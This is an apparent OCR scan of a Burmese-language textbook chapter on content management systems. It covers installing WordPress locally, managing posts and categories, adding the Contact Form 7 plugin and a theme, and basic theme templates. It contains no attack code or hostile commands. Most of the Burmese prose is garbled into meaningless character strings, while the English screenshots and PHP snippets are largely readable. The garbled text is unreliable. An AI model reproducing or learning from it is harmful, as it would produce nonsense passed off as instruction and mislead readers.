mesmo ooo:(p2o»»oli 

WordPress, Joomla, oe ej General Purpose CMS coes[a|eoloooŠSi mace coca 3 eo 8 
CMS 0 mgao: sql: GI: 0905 Website cog! Web Portal cop! 02006: Bioosdd :Ql 
qn Website Mu ss E-Commerce Website 60232096809: qe pasion General Purpose 
320209609090 020069390309 o3: (go: qag: o) CMS coga ps: :9oleo:0m 1 


goeo - Vanilla Forum nado: 200): [0/(8: 390090898603 orpdes00058Eclosa5 i Elgg c2 
0508/1:3 Social Network cop o»o5esooo$&6olo»oSi MediaWiki 0564):8 Wikipedia 0308 Online 
Foal’ i oe à Sabe oR 


CO, 


Knowledge Base cogo peak olosi Moodle opogog § Online Education Platform 20 
IN coc ;| € Q C = s 

o0996s0005&C0! ooo Magento c»osoq|:& E-Commerce 04060) Online Store cog ooQ9es000986 

oloooSi 3e09320:c9: UNA: CMS Neslo) 0§06020(0(8: WordPress, Joomla, Drupal o? 

o IN So IN : S coco Cx e oc c IN e 

c» ¿mou Website copopdesommáca 609050 0502s8066p00q020209320205200 oŠ: eo: 


gqlpSgoScoo:o> CMS coo[eš[o2cloooSi 


PHP š Open Source §a5:0p00gp:0302 səš|o2o5oeg:oooseeo[oəoooolu Open Source eo?o$o) 
Commercial PHP CMS 03 § 01600200051 seo: Python, .NET, Java oo? se5:ooooqp:šoooŠ 630005 
coo: o> CMS G03 §[030]e09: 00051 ooóaj| cops: Open Source (gdolos051 O20], cops: Commercial 


(8903320209 səsc[o2:eçšooSosqoloooŠi 


Qo 


CMS e024 207939583 0068690390 "Website Po epda9eadorp5es00058E0205" s90) 006000 
o 


qll: [509 len aleou GUDU: E sdi AGO. CMS ui gaa 3905:(14 
NANNY s9g§orda205(GasGe0r:g§03 Website 02690295 6200098320209 080500603 
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se5:ooooog|j8:oq|Šqcoo ee mesmo 
CMS qp:eg: :ajo5[ec: l 0031, 08396033086: 3602 02 ROS 
(8: Website eooloCosəajo5səcoo5coo 86033006: 03009 CMS 602390299098, Website 661220: $09: 


e ` e coc IN 
$2:ecopoopqp:co cae go$&6coo[s6: (90 ODOOII 


22906:09 Web Developer @:0000G602503 


o?6[sp9909 sam: (ac:30: (96 orpSes0005e074, 


Links: 
° WordPress - http://wordpress.org/ 
° Joomla - http: //www.¡oomla.org/ 
° Drupal - http://drupal.org/ 
* Vanilla - http://vanillaforums.org/ 
° Elgg - http://elgg.org/ 
° MediaWiki - http://www.mediawiki.org/ 
° Moodle - http://moodle.org/ 
° Magento - http://magentocommerce.com/ 


10.2 - WordPress 

WordPress oo 000599 Website coló: o5š: (Go) emma): [Ə|ooo:o> səo5:səejp:s5: CMS oò 
ə[ešoloooSi Matt Mullenweg š Mike Little c932ep9so? Developer (J) 8:02 oooCoooSesooo5 [oo 
(S8: (s9(: oooeso: Version o? joo? 250 cecoeoc[oo[cošoloooSi 8026q:220:6$09 92 800989: 


0903Q000:02 Version meon WordPress 4.6.1 [ešoloooŠi 


(GY) WonpPnzss 


JOOS 9§090 338324|$003260596co: eoq?[022:0? Blog Platform o»9[590) Movable Tipe 4, de co 


Qa 


sae[goé: sue Movable Type zaoj:lo Lles User 326003qp: :qp:oo WordPress o? e e[s: 
3299: a coo[p2spo»es 9 08006 qp: 00080100051 3260006: amacoo WordPress à ops: QU 05934: 
59,095:000: :(6: Blog qp: ee PO o Pesca G500906: 906022 L sQ: 


eoo(so39o30loócoo(8: Website sagd: oscop5:0205ea00038603 General Purpose CMS 000 


a sd Do 


c ` IN 
[eŠcoošoloooŠi 


CMS end EQ les A Content qp: :BO8 c[sc: | User qp: :968 clsc: sc! salgo: 


NOGC * 


bagos coóesoocajooqp: o? Plugin qp: 30%: q|$co? CNS ooóə[eóoloooŠši oos Theme sql: TE 
o? Install c90000:(8: Website e, Template ae(063es06qp:o? Website $6es0? Web Master oo «$ 
o»c9 3209090090? c[poé:coSÓesoloooó: Website go Content qp:se(oó Widgets c9eslo) 
Component &co:60909 cops: cop$036:605(G8éolos05u 
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Plugin coz Theme cop Widget e09860l6:00 (96:320: (56 Q:Q:32qj0932co03eo3(00? Website 0009 

c IN IN E jl CN ° > ç 9 IN S SCO] 

mes ctg eoleg: golo Web Portal q:sə209 WordPress š ešo3:ooo5esooo5&co 
ç ° o ç 9 ç co e o IN e Ç x 

own 3060 64090:00p26800000 35090» WordPress oo 60006:60026:40:co0p90? WordPress 

Developer odeon usg c$aade0008 loéodapdesosé qj05e03 8d8a002M 60>) Website 


66:220: 05: o»050ec90 39$05:C05 oc (Ge0:0805038 epoopes9Oo86ooo [ešoloooŠi 


WordPress o? Download qop&622c9 wordpress.com eo Register coO(s6:aoo: [sç WordPress 
Website 026903 6$05:$60lo»o9u Hosted Version c9eslolooo3u Code coza: odose zac 
IN IN e e ° Ë : c o ooc IN IN o coc c e e 
00080090 3200€ aoso: |: sdo) Website mosaicos MAQ COCR 
IN e Oo o ° cere ` oc Ç ° ° 
bagage: WordPress o> Download qg: Lages Ó: GO:000:093200€: S2ODGO0:ICO 
o9qp:006002 Hosted Version eo 329: (9 £cg00ln 


Installing WordPress 

WordPress 6800989: Version o? wordpress.org o» Download qo286olos051 06:006(a3 09868 
320209 Download qo900o:0? Zip File o9 Extract c90(0: wordpress «902 Folder səeə5šó htdocs 
Folder goo: eo: qoos (8:96 Browser URL Bar go http://localhost/wordpress/ c900p92296: 
das à (oo-s) Lowa qco$0?«9»[690lo»o5 


Welcome to WordPress. Before getting started, we need some information on the database. You will need to know 
the following items before proceeding. 


1. Database name 

2. Database username 

3. Database password 

4. Database host 

5. Table prefix (if you want to run morethan one WordPress in a single database) 


We're going to use this information to create a wp-config.php file. If for any reason this automatic file creation 
doesn't work, don't worry. All this does is fill in the database information to a configuration file. You may also 
simply open wp-config-sample.php in a text editor, fill in your information, and save it as 
wp-config.php. Need more help? We got it 


In all likelihood, these items were supplied to you by your Web Host. If you don't havethis information, then you 
will need to contact them before you can continue. If you're all ready... 


Let's go! 


9 (00-8) WordPress Installation 
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WordPress o9 oooéseop:(g|683»090? Database š 005000503 sacado (090) Database 

name, Database username, Database password, Database host o2 aaas eos: ce[ocs[e c: (9501 
IN ` ooco c C e IN e > 2 e X 

om G0:000:02 Let's Go Button o»$óc9ooqQ6 e4009000s06326$$ Ó (00-0) y coeo[ocoo: o> 
oc : IN e OC x c o c IN 

32070: Database Setting qp:oop5096:60:&c0o9 Form 0009989 [ešoloooŠi 


Below you should enter your database connection details. If you're not sure about these, contact your host 


Database Name wordpress The name of the database you want to use 
with WordPress. 

Username root Your database username. 

Password Your database password 

Database Host localhost You should be able to get this info from your 
web host, if localhost doesn't work. 

Table Prefix If you want to run multiple WordPress 


wp_ 
P. installations in a single database, change 


this. 


Submit 


9 (oo-o) WordPress Installation 


Database Name 90059056038 32€689: phpMyAdmin 0268020806 wordpress (9960903) 88 
$D vS Database 0299 00996s0009000:60:q900li ag Form à, Database Name sep 
2609) $9403069& wordpress c$000p9996:60:000:0lo»03i 880r95es0005000:03 Database s209 

o ç IN IN IN IN c IN c ee IN Q IN 
0? e$00$e3906 coasagé:eo:qgo [asoló soo$coo3(8: Database User 380209 root c9 (sp? 
oəé:ceo:oli Password meon 22099096000:053»0909 Blank ooo:c909qoleo9i Database Host 0260? 


localhost co oag: co: qpel 


Table Prefix ON Database 02090208: WordPress Website &9909:900 eog[aoo»: [p|qo332el 
Table Name e0209?6$09 səsocec[ooooq|l:e[eësesəoC Table Name eo26q,0» 0092226:25039039e0? 
enc € IN : IN ° ° IN ç . 0 ° c Q 
səeo5[eóoloooSi ecooecoosooó Website $690):90) Database o006900p5:cog[op:9609320600: 09 
Table Prefix o? səco:[OCeescoosoo G0: c00:0339036: wp_ Gð: RoRo g90:0§3(0056(8 38 
IN : O oco Ç IN e Oo Ç x IN IN IN e e ç o ° IN 
qÊ Submit o? Åvol o0p2096:60:c9090? seqjo$secooÓqp: sesoce(0e$o0$o0005s9q6 64009 
odao efo e[o2»6:ec3(002 Message Reog, escolar 
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e e ç IN o ç ° e ;l x° 0 ç ç 
goa/0) N II (80990990290:64 c9 aosoGec[oq 660»? go:ese[o256:e[9oco0900 II a38c99o:6s (0306: e(oocooqé 


ç c O [ES IN IN onec ç e [SEES ç 
GO»? RJE? (82905303 329/03200360207 (0$ cop3o96s0: (9680660: qoleo5i 


esoo Message àsəoooloCcooo> Run the install Button o? $6 
e 


Amas Y (00w) eo[ocoo: 
` oc e Ç QO x : ` e Ç x : Ç OC x e ° 
0939090: orp=des00030903 Website 300505050? Information co2c09309¢:&Co3} Form 0269 9§\92 


c IN 
(S91 O2O2OII 


Welcome 


Welcome to the famous five-minute WordPress installation process! Just fillin the information below and you'll be 
on your way to using the most extendable and powerful personal publishing platform in the world. 


Information needed 


Please provide the following information. Don't worry, you can always change these settings later. 


Site Title A Review Website 


Username admin 


Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ 
symbol 





Password @ Fr3ak1ng $tr0ng pa$$w0Rd ] @ Hide 
Strong 


Important: You will need this password to log in. Please store it in a secure location 











Your Email eimg@gmail.com 

Double-check your email address before continuing. 
Search Engine Discourage search engines from indexing this site 
Visibility 


It is up to search engines to honor this request 
Install WordPress 


à (00-20) WordPress Installation 


Website Title ¿s07 Content coo[ocsoceoo Web Master 390309 Admin Username, Admin 
Password, Email RR (9390360: qe»(s90lo»ou Site Title o? &$220922c960:&60lo» ou Username 
02c093:462205 speo:&6oloooóu enema. con gosqogosesa06 60000239086: admin coo 000: 
o. Cc c ;| € ° ç e ç ç C « )| O € Ç x` e iN 
e?o2eoq|Colooo!i Password 0009029034 0905009 Password 0209060:0lil 0202002009200:2006$ 
[e] ç o ;| ç ç e cos jl Ç x 
0% Password C90968020 [9225soəqo REI 32602080290 YNZ Strong [sšo> Password 
220390$60:$60lo»o3i 
c93200232qo93acoo?eop[sp9909(9:220:«6 Install WordPress Button «¿460303011 WordPress oo 
c ç o ç ç x` M ° cos ° e c 
RJE 220990260:000:0? WordPress Database cógo a200) Table eoo arepa esooco 
;| oc e C C © Q O c e e € e o ç cre 
o: 010080091 asc: cogl: qi GIM Success Message 00990? coeo[oco:eo[e° 9: 
Back-End Interface o3 Login oCespoo58C@ Log In Button ooëšəo2opeo5ceo:cooolcoƏeoSi Button 
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8258050 ` coló IN ç ç O c c AMA > 
RONN i Username $ Password cooçoooc:o COQOGOOII RJE 2909909602902 Username Š 
` 


Password 03{ga5og6:(8: Login oéc$0503 aee! ó (oo-c) y Lox% WordPress Admin 
Dashboard Neog, Aedolon 

















= + New Howdy, admin | 
reen Options Y Help v 
Dashboard 
Welcome to WordPress! TENA 
We've assembled some links to get you started 
37 Media Get Started Next Steps More Actions 
Pages K Write your first blog post E] Manage widgets or menus 
Customize Your Site 
Comments + Add an About page Bi Turn comments on or off 
or, change your theme completely E View your site f& Learn more about getting started 
Appearance 
& Plugins 
Ata Glance A Quick Draft A 
£ Too 5^ 1 Post IB 1 Page Title 
E Settings Wi 1 Comment 
š What's on your mind? 
Oc WordPress 4.6.1 running Twenty Sixteen theme. 
Activity A 


Save Draft 





Recently Published 





9 (oo-c) WordPress Admin Dashboard 


Content Management with WordPress 
329V WordPress Website ÒF Setup 096(8:030:(8(gd0loo051 Content copdo2c: 86 36:03 00) 


On 


csomcgagcolSn NA URL B903000:000:0960los05 6800906: Content qp:Šëcoo26: 238 URL 
c 


o» ðs Back-End Interface o? ocespo$qeool! http://localhost/wordpress/wp-admin/ [860 
ovos og|$coxooo Setup coó[6:oəo: [Š (5903 Website səc|esəcs (020998320209 (Tab 390060069 
g¢(8:) URL Bar eo http://localhost/wordpress/ c9 cop$o9é:(a303q.SEcloo05 $ (90-0) eo[ocoo: 

% Q : IN e : : CN >b e IN ` 
9500299 Website calc:0p, Navigation Menu 00034 WordPress oo $9403268&000222€:60:000:02 


Content 399,07 eog, [eŠəoo[eóoloooši 
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V @ AReview Website , Customize 





A Review Website 


Just another WordPress site 


l 
Hello world! 


Search .. 


October 22, 2016 Welcome to WordPress. This is your first post. Edit or delete it, then 


1 Comment start writing! 


Edit RECENT POSTS 


+ Hello world! 


9 (00-0) WordPress Website - Front-End 


WordPress 9o 85600 Content 324|:3200: keg] Alu Post š Page [ešoloooši Post 60303 səc[eŠ 
səo:[8Ç Website à, Home Page eoocoš:@coeo[ocoo:əo[eëoloooSi Page cogeo Navigation Menu 
IN e € ere IN o € ç oc e ç son nw O x` 
Meg orda0goéeqp0s5{6: @o5q|O5&o3əcoo2 (magicos $093 "Hello world!" 0 
ealé:058 sqso Post 006903 cop3296:60:000:0looo3i Post es]|S:65o%8o[osoocoose Post govloé 
O maHa 30:00:04 epon aae à co(9eo:eoolu 333 Post View e@oq|job2aocóoo 
° o c OC x e ç ` e e e IN 
soos: [oopoo Comment eo: qq co:&co? Comment Form oo69copo: o30030lo6eo(8$0lo»o5u 
Comment qp: 0093036: 08:008(0305 ¿colon 


Post 390060269 0099996:0320909 Browser URL oo http://localhost/wordpress/wp-admin/ cocoo9 
og6:(8: Admin Dashboard o?06espo$c9090li qÊ: að: Post 009903638 Post Category səQl: 
3290:qp: 03 Booo slef Admin Dashboard àooo5ooo Sidebar Menu odo Posts 


coc Oo 


RRSO (8:96 Categories Menu o? 00050 8050 I 
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Howdy, admin a 
Screen Options ¥ Help v 
e em Categories 
* Posts Search Categories 
Add New Category Bulk Actions ~| Appl litem 
pply 
New Name Name Description Slug Count 
Ae Movies| 
sort cal " — Uncategorized uncategorized 1 
" The name is how it appears on your site. 
Slug 
a; Media Name Description Slug Count 
movies 
Im p: The “slug” is the URL-friendly version of the name. It is usually all Bulk Actions E ES TuS 
o lowercase and contains only letters, numbers, and hyphens. 
t 
Parent Note: 
z rance None M Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category 
are set to the category Uncategorized 
K Plugins Categories, unlike tags, can have a hierarchy. You might have a 
Jazz category, and under that have children categories for Bebop Categories can be selectively converted to tags using the category to tag converter 
"^ and Big Band. Totally optional. 
. . 
Q (0-20) Post categories 
. QOC x c o ° jl oc IN IN ce, 9 
Categories qp:óó&coo Interface 02990? «$olcóóeoói Add New Category Form meş oop$99€:09 


o» Category 0264] 0092296:60: c9o?olu (8:6029 Post 320000009 ©6:0060099096: 868 Sidebar 


Menu càooeso Posts Section eso Add New o? $6eo:c9o90li ó (00-e) eo[ocoo:ooco New 
Post Form 020909 gqqeo[ešoloooši 


Screen Options ¥ p v 

@ Dashboard Add New Post 
Pd Sucide Squad Publish a 
E Permalink: http://localhost/wordpress/2016/10/22/sucide-squad/ Edit Save Draft Preview 





Add New 


Status: Draft Edit 
Q; Add Media va E ? 
= ® Visibility: Public Edit 
BI” = 


fein " : 
7 Media Paragraph — v fi] Publish immediately Edit 


Move to Trash 





In the aftermath of Superman's death, 





Comments . . . 
intelligence officer Amanda Waller 
Appearance assembles Task Force X, a team of ee Z 
É Plugins dangerous criminals imprisoned at i 
T Belle Reve Prison consisting of elite Categories á 
sers 
Tool hitman Deadshot, former psychiatrist All Categories Most Used 
oom Harley Quinn, pyrokinetic ex-gangster 
Sens š or ne x M 
Settings El Diablo, opportunistic thief Captain B Moves 
: E Z Uncategorized 
Boomerang, genetic mutation Killer 
Croc, and specialized assassin | + Add New Category 
Slipknot. They are placed under 
Penne GE REN PAE PA 
P Tags a 
Word count: 93 Draft saved at 5:27:07 pm. 


6 (oo-e) New Post Interface 


New Post Form go Post Title à Post Body oao: eo: koloo &$0209qp Content DÒR 
e e ° ec c cos ° IN IN coco : 
0099996:60:c9090li Post Body @2009303¢:03 Content eog Format odlog: aposc@ Rich- 
Text-Editor 00890095: 60:000:00002 eco qpe olos Image cog! Video 603030] Post Body 

IN IN coc € e e ers ° x : ` co ç e ` 
3203:92 coo2oaC:aColoooŠiI (8:96 gooo009 (86:909? Categories Box ome mao gt: eş} 
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< < ç Q x` ° € oc < c ç ore < 
Post 30909 oxoSəo5coo> Category oPeg:qjo9 co:àColoooSi Category o5$900050(8:6002cop9: 
990590S8Eclosu5i s90:0526(8a8q6 p2oo003(88:900$]e$0? Publish Button o? &ó[eS:səo: [Sç Post 
39006000908 copsagé: coo5acoloooi Publish c99(8:q6 qco3(02099$69320209 Browser URL Bar 
h x Q € So iN 280] € ç ç O < c € S.-2,£ 
go http://localhost/wordpress/ co cop) ogé:(o299 9460 NUI Rj 6025020005020 60500092226: 0909 
o» Post 3202002 Home Page @2603(Ge0:65 02003 censos 
Post qp: Edit coo(S6:i oo3qo9 (86: 02026002 0205096006:250(020301e0»21 Sidebar Menu ò% All 
s c < < coc ç iN - O O Ç OCA oc ° 
Posts Option oregorda0Gea06 gooàColoooSi mos: Option qp:o? o305036daaqj§e0;(8: ecocoo 


(0299 eoq|Golo»ou 


Website eslé:oge(oo6:(86:3 sə[go: Setting qp:0 Setting Option e»(pjco6$6olo»oóu ag Login 
o€000:094 Password à Information o202eco2 Users Option esəoo5oo My Profile e»(o6so6$60l 

ç o ç Ç e : ` ` e e e oc e 
omo seo: User Account gp:cpsedqccopd: Users Option o5926 320290099996:60:$60looo3i 

° ç e ` 007 e e Bo c O O O 
a:a: 00p9996:000:0? Comment qp:o?9ó(s6: Comment co:g [o/e $9[s6:020? 
Comment Option e32203922209909$60lo»o3i Content 4283909 o3609es3(0c903Q! Video à sa{go: 
File qp:0 Media Options eo $9£colox 1 


WordPress Plugins 

WordPress 4, coÓesoocajooqpp:oo Plugin qp:à (09905860 oooSi http://wordpress.org/extend/ 
plugins/ (Plugin Directory) goecocoo(8: cop3026:320): (0,0903 Plugin o? Download o286olos051 
coms} WordPress Plugin Directory eo Plugin colé: (g0000) cop gepols slom 3258 
(9960903) 398G0:005024 8603 Premium Quality Plugin Cog: oŠ:[eo: Website qp:oo RO 
$99:0909004 o$09:6q6:qjes 020602 qplea2:02o5u 

3995: (9) y jQuery Plugin 602603[(GSoS o»e(999:32»c9olóu Plugin 80% Developer cozm 3» AE 
all e9:000:0$03:000: [0308 200): (09607 006960009 320932030209 92609030lon: I soos: [o jor 


Plugin & 320? 036030lo6cooo? Manual eo? Readme 60203005q eaae: loĝas [o:a] 


3, 


oc IN IN c )| IN IN ç 1 IN 

qp:32096: eas go?qeo(s90 NI 89820209 eoS(peo:o eo! 
Website aoo»: (o]opeogoo Web Master oó Email 60:Q&6 o? Contact Form 029909 Plugin 320932098 
cop3036:0leo5 WordPress Plugin Directory eo "contact" 3803 Keyword 4 agj$eoo3sp(e29302o 

IN o Oo Ç 2 CO C 50 : > CENE o c C, .9.S ç e oO < 
gco3 (oq) əcoelqoloooŠii ces 323 Plugin cops, Description co20? o»99[86:c909009(8: NA 

Q c ey o Ç 8,2 (COS € : ° CAN. c jl co S_o 

30m nn laca Plugin o? eg:qj0506:250€900!i 0035, Popular so (Seo: Contact 
Plugin o» Contact Form 7 90056) Plugin (gSolos05 e322030lc909290 Download aorécolo ón 


https://wordpress.org/plugins/contact-form-7/ 
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c c coco IN ` : : ° e o c ° ` 
06:096(030986 8300305 Download a 000:03 Zip File o» Extract asao oli eN contact- 
form-7 Folder o? WordPress š, Plugins Folder (9802 htdocs/wordpress/wp-content/plugins/ 
go0093a96:e0:q0le05u Folder eş po: S: qé Admin Dashboard à Sidebar Menu oo Plugins 
Option 0% eg:qjo5eo:oli ó (oo-gJ) əoeeo[oooo:osc9 Plugin mad: eeo[oeso> qos qielo 


@ ARev 










Dashboard Plugins AddNew 


Posts | Plugin activated. 





Aedia 


All (3) | Active (1) | Inactive (2) 
Pages 


Bulk Actions M Apply 3items 
Comments 
z Plugin Description 
ontact 
Akismet Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get 
J* Appearance Activate Edit Delete started: 1) Click the "Activate" link to the left of this description, 2) Sign up for an Akismet plan to get an API key, and 3) Go to your Akismet configuration page, 


= and save your API key. 
& Plugins 
Version 3.2 | By Automattic | View details 


Installed Plugins 


Contact Form 7 Just another contact form plugin. Simple but flexible. 


Settings Deactivate Version 4.5.1 | By Takayuki Miyoshi | View details 


Hello Dolly This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: 


Activate Edit Delete Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page 
# Tools 
Version 1.6 | By Matt Mullenweg | View details 


© (oo-gJ) WordPress Plugins 


Plugin ©296:603(Geg03s00599 Contact Form 7 «Poe Plugin ooóəšesgoleo5i me $ 
oe: Plugin Folder Nego: one Neeg (o§copSodea0:60: qoleoSi Plugin 
0205 0006 seo»:[o]$68 Activate 9960: qolooo3i Plugin 3290963200390 Activate Option 03605 
oloéeo(8$olooo5u aó: Activate c9960:8 Aslan Activate ase: $ (50-q) oocoo[o 
000:0009 Activate c99000:(8:220: Plugin ƏQesəoo5eo Settings š Deactivate soo? Option cogo 


3290:09:0lo625o: e»(s90lo» ou 








@ ARev 
Help ¥ 
IUE Edit Contact Form acinew 
ai GEE Contact form 1 Status 
a; ia 
Copy this shortcode and paste it into your post, page, or text widget content: Duplicate 
IB Pages 7 ide"?" tact form 1") 
Y Comments Delete Save 
Contact E = š 
Form Mail Messages Additional Settings 
Contact Forms Information 
Form ER 
text email | URL tel number | date | textarea | drop-down menu || checkboxes radio buttons | acceptance FAQ 
Support 


quiz reCAPTCHA file | submit 


¿> Appearance 

> <label> Your Name (required) 

& Plugins [text* your-name] </label> 

S% Users 

- <label> Your Email (required) 

# Tools [email* your-email] </label> 


© (00-90) Contact Form 7 
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Contact Form 7 o? Activate coócoooo> səə] Sidebar Menu ceo cop: Contact 96058 Option 070 
° ° c IN x° : 00. ç O Ç GC . IN o 
q09:290:00002 eogqeo[s$oloooó» 333 Option RRS Aq $ (00-92) e@ocee2[ocoo:ooc9 
Contact Form qp: Setup coócogqàceoo Interface 02600 $gooli Contact Form 1 3803 ealé:o5 
6390030299 Highlight osf: @09(G000:03 [Short Code] o? ooo9(ojoli WordPress Plugin cozoco: 
> e IN c IN c ° > IN c p IN x° 0 ° 
° (sabgascpdesoséqua5qn:08 Content &35030009996€:0390905 33309 Short Code cco:coooo 
3905:(4,q0lo205 Copy go: (8:96 ó (oo-g) gf: Contact saep5§ Page 32000 
c IN ere x° ° IN IN o € 
0009 orpdes0005(8: Page Body es«po 393 Short Code 020099996:60:c9030li 





@ Dashboard Add New Page 
ed Contact Publish 
D; Media 
Save Draft Preview 

IB Pages 

= 9 Status: Draft Edit 

23 Add Media Visual Text 
Il Pages kusi 

i N IF TE = ® Visibility: Public Edit 

Add New B I <“ E E @ — E z = gR = [= 

P: h = P = = fff Publish immediately Edit 
® Comments -n Ju BAYHONF FN e 
EZ Contact Move to Trash 

pio [contact-form-7 id-"7" title="Contact form 1"] 
J* Appearance Page Attributes 
& Plugins 
Parent 
æ Users 
noparent) + 

# Tools wp ) J 


$ (oo-g) Publishing Contact Page 


Short Code oop?296:(8:€6 Page o? Publish Soli qco$09(02039,8300205 Front-End o? 292: 
ç “Ç 


(8: Navigation Menu meş Contact RY Contact Form cošəceo[ocso> Page Rage [edol 
<ç 
ovos 


WordPress Themes 

s003c003(8: WordPress Website 00694, Design so [SCsosoCap:o Themes ap:səo5:[o 8: e(026:$60 
o? ee[ooleoSu WordPress Themes Directory [9003 http://wordpress.org/extend/themes/ go 

Q c ery OC 8G ° o IN co ` e 
c9320q|024 RNA Theme qo? gpsgaurécolon on con Themes Directory eo Theme colé: 
(J000) cop egolon on 3looéeoo 3290 (93960905) 39860:005029 8603 Premium Quality Theme 
° e e : NS IN Q S cy ç @ iu ° IN 

como: oŠ:[eo: Website qp:020?02409: Row 6405:6$pC:q|e9 022609 §oleao:00051 


PE Themes 0205 WordPress 328.000 6€1:220:60:000:002602 $6060? 3aqp:q02cooo Developer 
60905 8809592209q5386:06qp:4 aeq: q]:eq:200:04 05: (p20»(890lo» o5 v slefox0¢ 32600:005 
soso 006980269 geol: a:o Theme §5907030050loéa0003 Manual 
eog Readme cooo2eo5gecocoo[0: olo6c»»o3095(020:309qp:30096: esooc go5qeo[e%oloooSi səso 
026903 cooco:oleVón 
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Food à Fashion Blog eozgo320):qp:0) Theme 0r69(9603 Basic səəeo5g Theme o9 o8:o5Ócoo9 
e IN ç E IN oc oc IN 
936: [ma a|eoloooSi e320050lc590909» Download aqurécolor an 


https://wordpress.org/themes/basic/ 


Download q05000:028602 Extract cooop[8: q$cooo? basic 390059) Folder o? WordPress Theme 
Folder ($02 htdocs/wordpress/wp-content/themes/ cogs 930264720900 95026:60:0l (8:96 
Admin Dashboard cQ [ošoc[6: 6 (oo-g) eoeeo[ocoo:ooco Appearance 3220502 Themes o?eg:qjo5 
co:oli 





@ Dashboard Themes O Add New 


| New theme activated. Visit site 


Theme Details 


2% Appearance 
‘The Myth of the Pier 
Themes 






Active: Twenty Sixteen Customize Basic Activate | MR Twenty Fifteen 








a) (90-g5) WordPress Themes Management 


Available Themes Section 63900390 09J$ Sor5030005096:080503 Basic Rags: eog, fedos 
° 


353 Theme o? e(o26:(8:325:(0|8300205 Activate o? &Óco:c9o5 Seo(s$olo»o5i 


qco$o9[02039 868 http://localhost/wordpress/ cocoooo26: (6: Front End Roy: [aa © (00-2) 92 
od c9J$ 602502 Website o» Site Design c? Basic Theme 3905;(0/(8:e03{Geg02203602 9.99 [sŠ 
ol ooo 
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A Review Website 


Just another WordPress site 


Home Contact Sample Page 


Sucide Squad Search E 


In the aftermath of Superman's death, intelligence officer RECENT POSTS 
Amanda Waller assembles Task Force X, a team of 
dangerous criminals imprisoned at Belle Reve Prison 
consisting of elite hitman Deadshot, former psychiatrist 
Harley Quinn, pyrokinetic ex-gangster El Diablo, 
opportunistic thief Captain Boomerang, genetic mutation 
Killer Croc, and specialized assassin Slipknot. They are 
placed under command orcalonel Rick Flag to be used as RECENT COMMENTS 
disposable assets in high-risk missions for the United 
States government. Each member has a nano bomb 
implanted in their neck, designed to detonate should any 
member rebel or try to escape. 


x 


Sucide Squad 


x 


Hello world! 


y 


A WordPress Commenter on Hello 
world! 





9 (00-2) WordPress with Basic Theme 


§c07503g6000503 Template 60203 @095:0099096:000:(8: sosse: o 


Customizing WordPress Theme 
° ç ç o0 c Cs o oc 8 * c e e e È 
WordPress o? o9$602502c9320qJ058 32023203/0?029902 coOesooca|ojbcooI Layout so(pé 39200602 
° e : coc IN : c ç 9 e o 
eezoc Customize assolo Customize coOooo5soooo 329460»? WordPress Source Code o» 
IN eme c onc eme o IN c o oc oc IN eme 
(odsoc[ac: eopo50lop: Theme Alocaoc[sc: (Remo) Theme 05990? 020309600096s0003(86: 
c IN : IN Q e. IN coc IN e 
(S91 ood Plugin cozcopd: oSsadqEorp5es00038E oons Sessoe» WordPress Theme eog 
. S So OQ eo e oc oc IN IN o ç x 
Plugin cog maes con ecooscoloz:1 NAC someone 2050000 
° ° x. OO A (O ce Oo : : co ere IN IN IN 
sico 60900080893 (8: (G58 Online Tutorial dA] LoS: DOMNONE: ED: 
olu a2: [S| eloooo HTML, CSS, JavaScript š PHP 030(gd0los051 Theme, Plugin saclsa0é afz: 
` IN ere o Ç x IN o 
WordPress §0050005(8: Developer @p:0509¢03§p5: opoeozo http://codex.wordpress.org/ oo 
9003:eo5[po0o:0lo»o5i 


Admin Dashboard à, Appearance Menu esoo Editor Option eo coo$$|seop:(ojoco:o? Themes 

e > : ç O c IN È <.o..£ e c IN e coc IN 
gooloc 03 File eoq6:02eo9[p00o:0lo»o3« Code q: Lóin: o»$elo»po:(96so6&6olo»oóu 
htdocs/wordpress/wp-content/themes/ Folder c>o2oəo:[Š:eoooco  cooóQseop:[g[ooo:o? 
Theme Folder c5eo eq:000:000:09 Code eo20? ecocooàColoooSi somos moja] 32600009 
o [89628320205 WordPress Theme ooóəeooloC ccoglo Template File cogs SNe 
eooo 
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style.css - Theme 3902053080 CSS File [sëolooo5i Appearance > Themes go oĉjo] 
Available Themes sos Theme Rep o3003eo5(960:e0$ Information o? style.css $096 
$9: go Comment 39694 32920390960: 4010005 


/* 
Theme Name: Twenty Ten 

Theme URI: http://wordpress.org/ 

Description: The 2010 default theme for WordPress. 

Author: WordPressdotorg 

Author URI: http://wordpress.org/ 

Version: 1.0 

Tags: black, blue, white, two-columns, fixed-width, custom-header 
License: MIT 

License URI: [license url] 

General comments (optional). 


Ry 








ç ° IN oc < < oc € 
oq|š CSS Style qp:oscooo eq: eq odst: some m:gcolon VI 


index.php - Home Page esc [ooo Template GOSoloo0SI Post o Jos co[oo> 
309] co [ocococp Template Structure 022209903 000:&6 010» 01 CANARE NDR 


bspdl - 


<?php get_header(); ?> 
<div class="posts"> 
<?php while (have_posts()) : the_post(); ?> 
<div class="post"> 
<h2 class="title"> 
<a href="<?php the_permalink() ?>"> 
<?php the_title(); ?> 
</a> 
</ N2 


<div class="entry"> 
<?php the_content(); ?> 
</div> 
</div> 
<?php endwhile; ?> 


<div class="sidebar"> 
<?php get_sidebar(); ?> 
</div> 
</div> 
<?php get footer(); ?> 


$PP Bold coÓco:coo:ooooo WordPress Function Gop oll get header(), get footer(), 
get sidebar() 00) Function 60900 header.php, footer.php, sidebar.php ofeg 
à[8o: eq:000:000:0) cŠ:[go: Template eo2024]o9so09eo:(86:(s90looo9€ have_posts () Function 


Professional Web Developer - səəŠ: (oo) Content Management System - CMS 299 





006002 cop Post $e$o9eso:[s6:(880lo»o5 the post() Function meon Post 029909 qo? 
jl ç ç ç O NON . Q o A 
GO:0lODOBII Og|$GO2209 eano mysqli fetch assoc() Solón the parmalink(), 
the title(), the content() oo) Function e02026009 Post eooloCo> Link, ealé:o5§ Post 
o o ce oc c e c cC, 9 Ce. e c > 
Body 020) NAC se ce[oco[ec:[eëoloooši 3spo:& Post 009C: eo3(peso? Home Page 
Template o? 029968000960: seco Qolo»ou 


